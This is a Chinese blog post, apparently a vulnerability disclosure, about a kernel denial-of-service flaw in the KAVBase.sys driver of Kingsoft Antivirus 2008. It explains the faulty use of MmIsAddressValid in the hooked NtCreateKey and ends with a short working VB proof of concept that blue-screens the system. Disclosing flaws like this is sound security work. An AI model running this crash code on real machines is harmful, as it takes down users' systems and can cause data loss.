金山毒霸是国内首家通过 VB100 认证的杀毒软件, 号称采取病毒库 + 主动防御 + 互联网可信认证技术三重防护. 该软件的主动防御部分对 SSDT 的若干项进行了挂钩.
可以看出, 金山毒霸的驱动程序员与 KV、微点等全然不重视用户态传入参数检查的程序员不同, 对用户态参数检查十分重视. 但令人遗憾的是, 金山毒霸的驱动程序员似乎全然不知正确的检查方法, 而是将 MmIsAddressValid 这一函数贯穿驱动始终. MmIsAddressValid 这一函数是微软不推荐使用的函数. 此函数的返回值代表被检查内存地址当前的合法性, 经过检查的内存地址在使用时却不一定合法. 微软告诉我们, 即使是一个合法的用户态缓存, 其地址在任何时候都不能被假设为合法. 用户态缓存的正确使用方法是在一个 try...except 块中使用, 使用前需要用 ProbeForRead 或 ProbeForWrite 验证用户态地址的有效性.
更令人遗憾的是, 由于使用了不正确的方法, 驱动程序中遗漏了部分用户态传入参数的检查, 其最新版本 2008.10.02.18 及以下所有版本的驱动程序中存在若干内核拒绝服务的漏洞, 可使任何权限的用户在安装了金山毒霸 2008 的系统上引发蓝屏.
出问题的组件: KAVBase.sys (CheckSum=0000FA0C, TimeStamp=4860DB0F)
示例函数: NtCreateKey
函数 NtCreateKey 的原型是:
NTSTATUS
NtCreateKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG TitleIndex,
IN PUNICODE_STRING Class OPTIONAL,
IN ULONG CreateOptions,
OUT PULONG Disposition OPTIONAL
)
金山毒霸在 SSDT 的挂钩函数 HookedNtCreateKey 中, 未经检查地使用了 ObjectAttributes->ObjectName, 这样, 如果我们传入一个无效的 ObjectName, 系统就会崩溃, 蓝屏重启.
值得注意的是, 按照驱动程序中的逻辑, 只有当驱动程序使用 ObReferenceObjectByHandle、ObQueryNameString 得出 ObjectAttributes->RootDirectory 的名字后, 才会使用 ObjectName, 我们必须传入一个有效的 RootDirectory 句柄引发此漏洞.
测试代码:
Declare Function ZwCreateKey Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long) As Long
Sub Main()
Dim x(0 To 5) As Long
MsgBox "金山毒霸 2008 内核漏洞演示 by iceboy"
x(1) = 4
ZwCreateKey 0, 0, VarPtr(x(0)), 0, 0, 0, 0
End Sub
Posted by iceboy |